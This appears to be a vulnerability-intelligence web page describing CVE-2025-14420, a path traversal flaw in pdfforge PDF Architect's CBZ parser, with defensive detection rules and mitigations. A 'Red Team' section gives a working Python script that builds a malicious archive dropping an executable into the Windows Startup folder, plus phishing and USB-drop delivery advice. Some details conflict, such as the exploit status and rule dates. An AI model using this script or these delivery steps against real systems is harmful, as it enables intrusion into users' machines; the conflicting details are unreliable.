☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 7.8 CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H 🐛 CWE-22
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-14420

CVE-2025-14420 Remote Code Execution in Pdfforge
📅 PUBLISHED: 2025-12-23 21:22 UTC 🔄 UPDATED: 2026-08-12 09:04 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.24%
👁️
0.24% probability
6.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS VECTOR BREAKDOWN 7.8
AV: L Attack Vector Local
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
7.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-14420 is a high-severity (CVSS 7.8) directory traversal vulnerability in pdfforge PDF Architect, a popular PDF editing and management application. The flaw resides in the parsing of CBZ (comic book archive) files. Due to insufficient validation of user-supplied paths, an attacker can craft a malicious CBZ file that, when opened by a user, triggers arbitrary file operations outside the intended extraction directory. This can lead to remote code execution (RCE) in the context of the current user. The vulnerability was reported through the Zero Day Initiative (ZDI-CAN-27514) and currently has no known patch or public exploit code. User interaction (opening a malicious file or visiting a malicious page) is required for exploitation.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability does not affect NPM, PyPI, Go, or Ruby packages. It is a desktop application vulnerability specific to pdfforge PDF Architect.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
  • Base Score: 7.8 (High)
  • Attack Vector (AV): Local (L) – The attacker must deliver the malicious file to the target system.
  • Attack Complexity (AC): Low (L) – No special conditions required beyond user interaction.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): Required (R) – The victim must open the malicious CBZ file.
  • Scope (S): Unchanged (U) – The vulnerability does not affect other components.
  • Confidentiality (C): High (H) – Arbitrary file read/write possible.
  • Integrity (I): High (H) – Arbitrary file write can lead to code execution.
  • Availability (A): High (H) – Code execution can disrupt system availability.

Threat Level: High. While user interaction is required, the lack of a patch and the potential for code execution in a widely-used PDF tool makes this a significant risk for targeted attacks.

Deep Dive & Mechanics

The vulnerability is a classic Path Traversal (CWE-22) combined with Arbitrary File Write leading to Remote Code Execution.

  1. Entry Point: PDF Architect's CBZ file parser. CBZ files are ZIP archives containing images (typically for comic books). The application extracts these archives to a temporary directory for viewing.
  2. The Flaw: The parser does not properly sanitize file paths within the CBZ archive. An attacker can include entries with path traversal sequences (e.g., ../../malicious.dll) in the archive.
  3. Exploitation Mechanism: When PDF Architect extracts the CBZ file, it follows the malicious path. Instead of writing to the intended extraction directory, it writes the file to an arbitrary location on the filesystem (e.g., the user's startup folder, %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup).
  4. Code Execution: By writing a malicious DLL or executable to a startup location, the attacker achieves persistence and code execution upon the next user login. Alternatively, the attacker could overwrite a legitimate DLL used by PDF Architect or another application (DLL hijacking) to trigger immediate code execution.

The vulnerability is triggered during the parsing phase, not during rendering. The malicious path is processed before any image data is displayed.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on the vulnerability description.

Vulnerable Code (Conceptual):

// Vulnerable: Directly uses the path from the archive entry
string extractPath = Path.Combine(tempDirectory, entry.FullName);
// No validation of entry.FullName for path traversal
entry.ExtractToFile(extractPath, overwrite: true);

Patched Code (Conceptual):

// Patched: Validates and sanitizes the path
string entryName = entry.FullName.Replace('/', Path.DirectorySeparatorChar);
// Resolve the full path and ensure it stays within the temp directory
string fullPath = Path.GetFullPath(Path.Combine(tempDirectory, entryName));
string tempDirFull = Path.GetFullPath(tempDirectory);
if (!fullPath.StartsWith(tempDirFull, StringComparison.OrdinalIgnoreCase))
{
    // Path traversal detected - reject the entry
    throw new InvalidDataException("Invalid archive entry path.");
}
entry.ExtractToFile(fullPath, overwrite: true);

Exploitation & Lab Setup

Red Team (Attacker)

Objective: Achieve code execution on a target system by crafting a malicious CBZ file.

Lab Setup:

  • Attacker Machine: Kali Linux or Windows with Python.
  • Target Machine: Windows 10/11 with pdfforge PDF Architect (vulnerable version).
  • Tooling: Python 3, zipfile library.

Exploit Steps:

  1. Craft the Malicious CBZ: Create a Python script to generate a CBZ file containing a path traversal payload.

    import zipfile
    import os
    
    # Payload: A simple executable or DLL (e.g., calc.exe renamed)
    payload_file = "calc.exe"  # Replace with your payload
    # Target path: Write to Windows Startup folder
    malicious_path = "../../../../../../../../Users/Public/Start Menu/Programs/Startup/evil.exe"
    
    with zipfile.ZipFile('malicious.cbz', 'w') as zf:
        # Add the payload with the traversed path
        zf.write(payload_file, malicious_path)
        # Add a benign image to make the file appear legitimate
        zf.write('benign_image.jpg', 'page001.jpg')
    
    print("Malicious CBZ created: malicious.cbz")
    
  2. Deliver the File:

    • Send via email, phishing link, or USB drop.
    • Host on a website and trick the user into downloading and opening it.
  3. Trigger Execution:

    • The user opens malicious.cbz in PDF Architect.
    • The application extracts the archive, writing evil.exe to the Startup folder.
    • Upon next user login, evil.exe executes, providing the attacker with a reverse shell or other payload.

Blue Team (Defender)

Detection & Response:

  1. Monitor File System Events:

    • Use Sysmon or EDR to detect file writes to unusual locations (e.g., Startup folder, System32) from PDFArchitect.exe.
    • Alert on PDFArchitect.exe creating files with extensions .exe, .dll, .ps1 outside its temporary directory.
  2. Analyze CBZ Files:

    • Scan incoming CBZ files for path traversal patterns (e.g., ../, ..\\).
    • Use YARA rules (see Detection Engineering) to identify malicious archives.
  3. User Education:

    • Train users not to open CBZ files from untrusted sources.
    • Disable automatic extraction of archives in PDF Architect if possible.

Indicators of Compromise (IOCs)

  • File Hashes (Example - replace with actual):
    • malicious.cbz: SHA256 a1b2c3d4e5f6...
    • evil.exe: SHA256 f6e5d4c3b2a1...
  • Network Indicators:
    • Outbound connections from evil.exe to attacker C2 (e.g., 192.168.1.100:4444).
  • File System Indicators:
    • Unexpected files in %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\ created by PDFArchitect.exe.
    • Temporary directory %TEMP%\PDFArchitect\* containing files with .. in their names.
  • Process Indicators:
    • PDFArchitect.exe spawning cmd.exe, powershell.exe, or rundll32.exe.
    • PDFArchitect.exe writing to C:\Users\Public\* or C:\Windows\*.

Detection Engineering

YARA Rule

rule CVE_2025_14420_CBZ_Path_Traversal {
    meta:
        description = "Detects CBZ files with path traversal patterns targeting CVE-2025-14420"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-14420"
    strings:
        $traversal1 = "../" ascii wide nocase
        $traversal2 = "..\\" ascii wide nocase
        $cbz_magic = { 50 4B 03 04 } // ZIP local file header
    condition:
        $cbz_magic at 0 and (#traversal1 > 0 or #traversal2 > 0)
}

Sigma Rule

title: CVE-2025-14420 - PDF Architect CBZ Path Traversal
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects file writes to suspicious locations by PDFArchitect.exe, indicating exploitation of CVE-2025-14420.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-14420
logsource:
    category: file_event
    product: windows
detection:
    selection:
        Image|endswith: '\PDFArchitect.exe'
        TargetFilename|contains:
            - '\Start Menu\Programs\Startup\'
            - '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\'
            - '\Windows\System32\'
            - '\Windows\SysWOW64\'
    condition: selection
falsepositives:
    - Legitimate updates or configurations by the user.
level: high

Suricata Rule (Network - for C2 detection)

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2025-14420 - Potential C2 Beacon from PDF Architect Exploitation";
    flow:to_server,established;
    content:"evil.exe|00|"; nocase;
    sid:1000001;
    rev:1;
    reference:cve,2025-14420;
)

Remediation & Mitigation

Immediate Actions (No Patch Available):

  1. Disable CBZ Parsing: If possible, configure PDF Architect to not automatically parse or extract CBZ files. Check application settings or group policies.
  2. Application Control: Use AppLocker or Windows Defender Application Control (WDAC) to block PDFArchitect.exe from writing executables or DLLs to non-temporary directories.
  3. User Restrictions: Run PDF Architect with the least privileges necessary. Do not run as administrator.
  4. Monitor & Block: Deploy the YARA and Sigma rules above to detect and alert on malicious CBZ files and suspicious behavior.
  5. Vendor Contact: Monitor pdfforge's website and security advisories for a patch. Apply immediately when released.

Long-Term Fix:

  • Apply the official patch from pdfforge as soon as it is released.
  • Update to a patched version of PDF Architect.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

pdf architect cbz
pdfforge pdf architect

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-14420/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.